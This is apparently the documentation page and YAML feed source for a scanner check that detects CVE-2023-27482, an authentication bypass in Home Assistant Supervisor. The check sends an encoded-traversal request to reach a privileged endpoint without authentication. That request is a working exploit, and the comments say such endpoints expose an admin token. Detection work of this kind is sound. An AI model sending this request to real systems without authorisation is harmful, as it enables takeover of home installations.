Home Assistant — 1 vulnerability check
noctis ships 1 vulnerability check for Home Assistant, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Home Assistant Supervisor Auth Bypass
| CVE | CVE-2023-27482 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/home-assistant/CVE-2023-27482.yaml |
Tests Home Assistant Supervisor for the proxy authentication bypass. A raw request with an encoded traversal (/api/hassio/app/.%252e/supervisor/info) reaches a privileged endpoint unauthenticated on vulnerable Supervisor (200 + "result":"ok"); patched rejects it. QoD 75.
How noctis detects it
- HTTP(S) request
GET /api/hassio/app/entrypoint.js - Raw TCP (TLS on HTTPS), sent verbatim:
GET /api/hassio/app/.%252e/supervisor/info HTTP/1.0 - Checks
trav_resp.bannerfor"result"\s*:\s*"ok"→ finding QoD 75: Supervisor auth bypass confirmed — encoded traversal reached /supervisor/info unauthenticated: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-27482
- https://github.com/home-assistant/supervisor/security/advisories/GHSA-7jwv-x8pj-5qmh
Feed source — tests/vulnerabilities/home-assistant/CVE-2023-27482.yaml
# Home Assistant Supervisor auth bypass — CVE-2023-27482
#
# The Supervisor proxy (/api/hassio/...) fails to strip encoded traversal
# segments, letting an unauthenticated request reach privileged Supervisor
# endpoints (/supervisor/info, /core/info) that return full system info and a
# long-lived admin token.
#
# Affected: Supervisor < 2023.03.1, Home Assistant Core < 2023.3.2.
#
# Detection (safe): confirm the Supervisor frontend is present, then send a
# raw request whose path carries an encoded traversal
# (/api/hassio/app/.%252e/supervisor/info). A vulnerable server reaches the
# privileged endpoint and returns {"result":"ok",...}; a patched one rejects
# it. The %252e must be sent verbatim, so tcp_connect is required (reqwest
# would normalise it). QoD 75.
uid: 744b41cf-4289-4e95-930a-f5a27f0bb7c9
name: "Home Assistant Supervisor Auth Bypass (CVE-2023-27482)"
description: |
Tests Home Assistant Supervisor for the proxy authentication bypass. A raw
request with an encoded traversal (/api/hassio/app/.%252e/supervisor/info)
reaches a privileged endpoint unauthenticated on vulnerable Supervisor
(200 + "result":"ok"); patched rejects it. QoD 75.
cves: [CVE-2023-27482]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [home-assistant, hassio, supervisor, auth-bypass, path-traversal, kev]
category: auth-bypass
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-27482"
- "https://github.com/home-assistant/supervisor/security/advisories/GHSA-7jwv-x8pj-5qmh"
steps:
- id: init
action: set_var
var_name: ha_ok
var_value: false
# ── Step 1: confirm the Supervisor frontend is present (gate only) ───────
- id: fingerprint
action: http_request
method: GET
path: "/api/hassio/app/entrypoint.js"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fp_resp
- id: fingerprint-gate
action: set_var
var_name: ha_ok
var_value: true
condition: "fp_resp.status == 200"
# ── Step 2: raw encoded-traversal probe (tcp_connect, verbatim %252e) ────
- id: traversal
action: tcp_connect
port: "{{port}}"
send: "GET /api/hassio/app/.%252e/supervisor/info HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: trav_resp
condition: "ha_ok == true"
- id: confirm
action: match
source: trav_resp.banner
pattern: "\"result\"\\s*:\\s*\"ok\""
condition: "ha_ok == true"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Supervisor auth bypass confirmed — encoded traversal reached /supervisor/info unauthenticated: {{trav_resp.banner}}"
stop: true